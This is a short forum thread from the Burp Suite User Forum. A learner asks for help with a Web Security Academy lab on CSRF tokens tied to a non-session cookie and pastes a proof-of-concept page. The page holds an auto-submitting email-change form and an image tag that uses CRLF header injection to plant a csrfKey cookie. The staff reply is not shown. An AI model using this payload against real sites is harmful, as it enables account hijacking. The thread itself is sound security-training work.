Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

i have a problem with Lab: CSRF where token is tied to non-session cookie

Eternal | Last updated: Oct 15, 2024 03:15PM UTC

Hi i just login to the second account and i just replace it with the victim csrf token and key as you see in img tag but the thing is when i click on view exploit it say invalid csrf token when i check the burp i saw that csrf key was still for the victim not the attacker <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://0a2c0090031f536a809beeb9008c00a7.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="crack2&#64;gmail&#46;com" /> <input type="hidden" name="csrf" value="vvUBisPbG6w6DDZ2AMW0gdxAMwzH81yS" /> <input type="submit" value="Submit request" /> </form> <img src="https://0a2c0090031f536a809beeb9008c00a7.web-security-academy.net/?search=hat%0d%0aSet-Cookie:%20csrfKey=Ejzy4yA3vgumrsM2T4K5HymYwl5O3rPQ" onerror="document.forms[0].submit()"> </body> </html>

Michelle, PortSwigger Agent | Last updated: Oct 16, 2024 02:07PM UTC